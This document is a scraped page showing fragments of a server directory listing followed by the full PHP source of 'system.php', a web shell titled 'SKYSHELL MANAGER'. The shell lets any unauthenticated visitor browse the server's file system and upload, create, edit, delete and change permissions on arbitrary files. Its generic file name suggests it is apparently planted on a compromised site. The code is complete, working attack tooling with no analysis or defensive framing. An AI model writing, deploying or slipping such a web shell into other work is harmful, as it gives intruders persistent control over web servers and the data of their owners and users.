run:R W Run
DIR
2026-03-27 01:00:14
R W Run
DIR
2026-03-27 01:00:14
R W Run
DIR
2026-03-25 00:51:26
R W Run
7.06 KB
2026-03-30 01:40:13
R W Run
7.06 KB
2026-03-28 06:14:05
R W Run
7.06 KB
2026-03-31 02:29:45
R W Run
7.06 KB
2026-03-27 01:00:14
R W Run
7.06 KB
2026-03-31 02:26:06
R W Run
error_log
📄system.php
1<!DOCTYPE html>
2<html lang="en">
3<head>
4 <meta charset="UTF-8">
5 <title>SKYSHELL MANAGER</title>
6 <style>
7 body {
8 background-color: #111;
9 color: #0f0;
10 font-family: Arial, sans-serif;
11 margin: 0;
12 padding: 20px;
13 }
14
15 h2 {
16 text-align: center;
17 font-size: 36px;
18 font-weight: bold;
19 margin: 10px 0;
20 position: relative;
21 background: linear-gradient(90deg, #ff0000, #ffff00, #00ff00, #00ffff, #0000ff);
22 background-size: 200%;
23 color: transparent;
24 -webkit-background-clip: text;
25 animation: gradientAnimation 3s linear infinite;
26 }
27
28 @keyframes gradientAnimation {
29 0% { background-position: 200% 0%; }
30 50% { background-position: 0% 100%; }
31 100% { background-position: 200% 0%; }
32 }
33
34 .php-version { position: absolute; top: 10px; right: 20px; font-size: 14px; color: #0ff; }
35 a { color: #6cf; text-decoration: none; }
36 a:hover { text-decoration: underline; }
37 table { width: 100%; border-collapse: collapse; margin-top: 20px; }
38 th, td { padding: 10px; border: 1px solid #333; transition: background 0.3s, color 0.3s; }
39 tr:hover { background-color: #32CD32; }
40 tr:hover td a.filename-link { color: #000; font-weight: bold; }
41 .filename-link { color: #0ff; }
42 .action-cell { text-align: right; }
43 input, button, textarea {
44 background: #222;
45 color: #0f0;
46 border: 1px solid #444;
47 padding: 5px 10px;
48 margin: 5px 0;
49 }
50 button { cursor: pointer; }
51 .alert-message {
52 color: #32CD32;
53 background-color: #222;
54 padding: 10px;
55 text-align: center;
56 font-size: 18px;
57 margin: 20px 0;
58 }
59 .file-upload-container { display: flex; justify-content: space-between; align-items: center; }
60 .emoji { color: #fff; }
61 .path-display a { color: #fff; text-decoration: underline; }
62 </style>
63</head>
64<body>
65
66<h2><span class="emoji">📁</span> SKYSHELL MANAGER-<span class="emoji">🛒</span>
67 <span class="php-version">PHP v<?= phpversion(); ?></span>
68</h2>
69
70<?php
71$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
72$path = realpath($path);
73$alertMessage = "";
74
75// Upload
76if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
77 $filename = basename($_FILES['file']['name']);
78 if (move_uploaded_file($_FILES['file']['tmp_name'], $path . DIRECTORY_SEPARATOR . $filename)) {
79 $alertMessage = "File uploaded successfully!";
80 } else {
81 $alertMessage = "File upload failed!";
82 }
83}
84
85// Create folder
86if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfolder'])) {
87 $folder = $path . DIRECTORY_SEPARATOR . $_POST['newfolder'];
88 if (!file_exists($folder)) {
89 mkdir($folder);
90 $alertMessage = "Folder created successfully!";
91 } else {
92 $alertMessage = "Folder already exists!";
93 }
94}
95
96// Create file
97if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfile'])) {
98 $file = $path . DIRECTORY_SEPARATOR . $_POST['newfile'];
99 if (!file_exists($file)) {
100 file_put_contents($file, '');
101 $alertMessage = "File created successfully!";
102 } else {
103 $alertMessage = "File already exists!";
104 }
105}
106
107// Change permission
108if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_value'])) {
109 $file = $_POST['chmod_file'];
110 $perm = $_POST['chmod_value'];
111 if (file_exists($file)) {
112 chmod($file, octdec($perm));
113 $alertMessage = "Permissions changed successfully!";
114 } else {
115 $alertMessage = "File does not exist!";
116 }
117}
118
119// Delete
120if (isset($_GET['delete'])) {
121 $file = urldecode($_GET['delete']);
122 if (file_exists($file)) {
123 unlink($file);
124 header("Location: ?path=" . urlencode(dirname($file)));
125 exit;
126 }
127}
128
129// Save Edited File
130if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file_path'], $_POST['edited_content'])) {
131 $filePath = $_POST['edit_file_path'];
132 $newContent = $_POST['edited_content'];
133 if (file_exists($filePath)) {
134 file_put_contents($filePath, $newContent);
135 $alertMessage = "File updated successfully!";
136 } else {
137 $alertMessage = "File does not exist!";
138 }
139}
140?>
141
142<?php if ($alertMessage): ?>
143 <div class="alert-message"><?= $alertMessage ?></div>
144<?php endif; ?>
145
146<div class="file-upload-container">
147 <div>
148 <form method="post">
149 <input type="text" name="newfolder" placeholder="📁 New Folder" required>
150 <button type="submit">Create Folder</button>
151 </form>
152 <form method="post">
153 <input type="text" name="newfile" placeholder="📄 New File" required>
154 <button type="submit">Create File</button>
155 </form>
156 </div>
157 <div>
158 <form method="post" enctype="multipart/form-data">
159 <input type="file" name="file" onchange="this.form.submit()">
160 </form>
161 </div>
162</div>
163
164<!-- Current Path Display -->
165<p class="path-display"><b>Current Path:</b>
166<?php
167$parts = explode(DIRECTORY_SEPARATOR, $path);
168$build = '';
169foreach ($parts as $part) {
170 if ($part == '') continue;
171 $build .= DIRECTORY_SEPARATOR . $part;
172 echo "<a href='?path=" . urlencode($build) . "'>$part</a>/";
173}
174?>
175</p>
176
177<!-- File Table -->
178<table>
179 <tr>
180 <th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th>
181 </tr>
182<?php
183$files = scandir($path);
184usort($files, function ($a, $b) use ($path) {
185 return is_dir($path . DIRECTORY_SEPARATOR . $b) - is_dir($path . DIRECTORY_SEPARATOR . $a);
186});
187foreach ($files as $file) {
188 if ($file == '.') continue;
189 $full = $path . DIRECTORY_SEPARATOR . $file;
190 $isDir = is_dir($full);
191 $perm = substr(sprintf('%o', fileperms($full)), -4);
192 $size = $isDir ? '-' : filesize($full);
193 echo "<tr>";
194 echo "<td>" . ($isDir ? "📁" : "📄") . " <a class='filename-link' href='?path=" . urlencode($full) . "'>$file</a></td>";
195 echo "<td>" . ($isDir ? '-' : round($size / 1024, 2) . ' KB') . "</td>";
196 echo "<td>$perm</td>";
197 echo "<td class='action-cell'>
198 <a href='?delete=" . urlencode($full) . "'>🗑️</a>
199 " . (!$isDir ? "<a href='$full' download>⬇️</a> <a href='?edit=" . urlencode($full) . "'>✏️</a>" : "") . "
200 <form method='post' style='display:inline;'>
201 <input type='hidden' name='chmod_file' value='$full'>
202 <input type='text' name='chmod_value' placeholder='Perm' style='width:60px;'>
203 <button type='submit'>🔒</button>
204 </form>
205 </td>";
206 echo "</tr>";
207}
208?>
209</table>
210
211<!-- Edit File Section -->
212<?php if (isset($_GET['edit']) && is_file($_GET['edit'])):
213 $fileToEdit = $_GET['edit'];
214 $content = htmlspecialchars(file_get_contents($fileToEdit));
215?>
216 <h3 style="color:#fff;">Editing: <?= basename($fileToEdit) ?></h3>
217 <form method="post">
218 <input type="hidden" name="edit_file_path" value="<?= htmlspecialchars($fileToEdit) ?>">
219 <textarea name="edited_content" rows="20" style="width:100%;background:#111;color:#0f0;border:1px solid #444;"><?= $content ?></textarea><br>
220 <button type="submit">💾 Save Changes</button>
221 </form>
222<?php endif; ?>
223
224</body>
225</html>
226